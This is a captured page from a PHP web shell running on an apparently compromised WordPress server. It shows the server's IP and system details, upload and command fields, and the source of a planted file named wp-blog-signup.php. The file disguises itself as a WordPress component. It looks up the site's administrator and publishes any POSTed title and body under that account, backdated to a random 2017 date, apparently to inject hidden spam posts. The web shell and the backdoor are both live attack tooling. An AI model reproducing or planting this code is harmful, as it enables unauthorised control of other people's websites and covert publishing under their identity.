Uname:Linux Live-Team 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64

Base Dir : /var/www/gocon.live

User :


403WebShell
403Webshell
Server IP : 178.128.106.170  /  Your IP : 216.73.217.12
Web Server : nginx/1.18.0
System : Linux Live-Team 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User :  ( 1000)
PHP Version : 7.3.33-14+0~20230902.114+debian11~1.gbp764b27
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/gocon.live/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gocon.live/wp-blog-signup.php
<?php
//ÖÇŞİĞÜöşşığü
$opmsg = "";
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
	$found = false;
	for ($i = 0; $i <= 6; $i++) {
		$prefix = implode("", array_fill(1, $i, "../"));
		$headerphpf = $prefix . "wp-blog-header.php";
		$registphpf = $prefix . "wp-includes/registration.php";
		
		if (file_exists($headerphpf) && file_exists($registphpf)) {
			require_once($headerphpf);
			require_once($registphpf);
			$found = true;
			break;
		}
	}
	if($found == false){
		die("wordpress bulunamadi");
	}
	$users = $wpdb->get_results( "SELECT ID FROM $wpdb->users ORDER BY ID ASC" );
	$authorId = 0;
	$firstUserId = 0;
	if( $users ) {
		foreach ( $users as $user ) {
			if($firstUserId == 0){
				$firstUserId = $user->ID;
			}
			$wp_user = new WP_User( $user->ID );
			if ( in_array( 'administrator', (array) $wp_user->roles ) ) {
				$authorId = $user->ID;
				break;
			}
		}
	}
	if($authorId == 0 && $firstUserId != 0){
		$authorId = $firstUserId;
	}
	
	if($authorId == 0) {
		die("post ekleyecek user bulunamadi");
	}
	// 2017 yılında rastgele bir tarih
	$dtz = 1483228800 + (rand(1, 365) * 86400) + rand(1, 86400);
	$pvars = [];
	$pvars["comment_status"] = "closed";
	$pvars["ping_status"] = "closed";
	$pvars["post_status"] = "publish";
	$pvars["post_date"] = gmdate("Y-m-d H:i:s", $dtz);
	$pvars["post_author"] = $authorId;
	$pvars["post_title"] = $_POST["title"];
	$pvars["post_content"] = $_POST["body"];
	$post = wp_insert_post($pvars, false, false);
	$perm = get_permalink($post);
	
	$opmsg = 'Yeni POST eklendi: <a target="_blank" href="'. $perm .'">'. $perm . '</a>';
}
if(!isset($_GET["id"]) || $_GET["id"] != "nzm"){
	die();
}
?><!DOCTYPE html>
<html lang="tr">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>PostGöt</title>
  </head>
  <body>
		<?php 
			if(strlen($opmsg)>0) {
				echo $opmsg . "<hr>"; 
			}
		?>
		<form method="post" action="?id=nzm">
			Başlık: <br><input type="text" name="title"><br>
			Post: <br><textarea name="body" rows="16" cols="100"></textarea><br>
			<input value="Gönder" type="submit">
		</form>
  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit